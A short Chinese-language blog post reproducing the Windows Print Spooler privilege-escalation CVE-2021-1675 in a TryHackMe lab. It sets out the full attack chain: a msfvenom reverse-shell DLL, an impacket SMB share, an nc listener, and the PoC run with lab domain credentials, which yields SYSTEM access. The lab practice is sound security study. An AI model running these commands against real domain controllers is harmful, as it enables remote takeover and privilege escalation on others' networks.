Windows Print Spooler (CVE-2021-1675 域提權)
CVE-2021-1675(Windows Print Spooler 域提權) 前言 : 最近在碰 AD 方面各種攻擊手法，也在網路上查查近年爆出的 CVE 漏洞，CVE 編號是 CVE-2021-1675，之後碰到 AD 環境多了一招的概念，趁空閒時復現一下此漏洞。 內容 : 直接利用 Tryhackme 環境(懶的搭了XD 實作環境 : kali : 10.9.1.117 DC : 10.10.15.24 (擁有 noth 域用戶，密碼 1qaz@WSX) kali 產生反連 .dll。 msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.9.1.117 LPORT=443 -f dll -o /tmp/poc.dll SMB 開啟共享。 impacket-smbserver smb /tmp/ 本地 nc 監聽。 nc -lvvp 443 執行 PoC (會報錯，不過好像是正常 ? python3 CVE-2021-1675.py CONTROLLER.local/noth:1qaz@WSX@10.10.15.24 '\\10.9.1.117\smb\shell.dll' 成功取得 System 權限。 實戰中應該會遇到 SMBV1 沒有開啟的問題，再看看要怎麼解決。
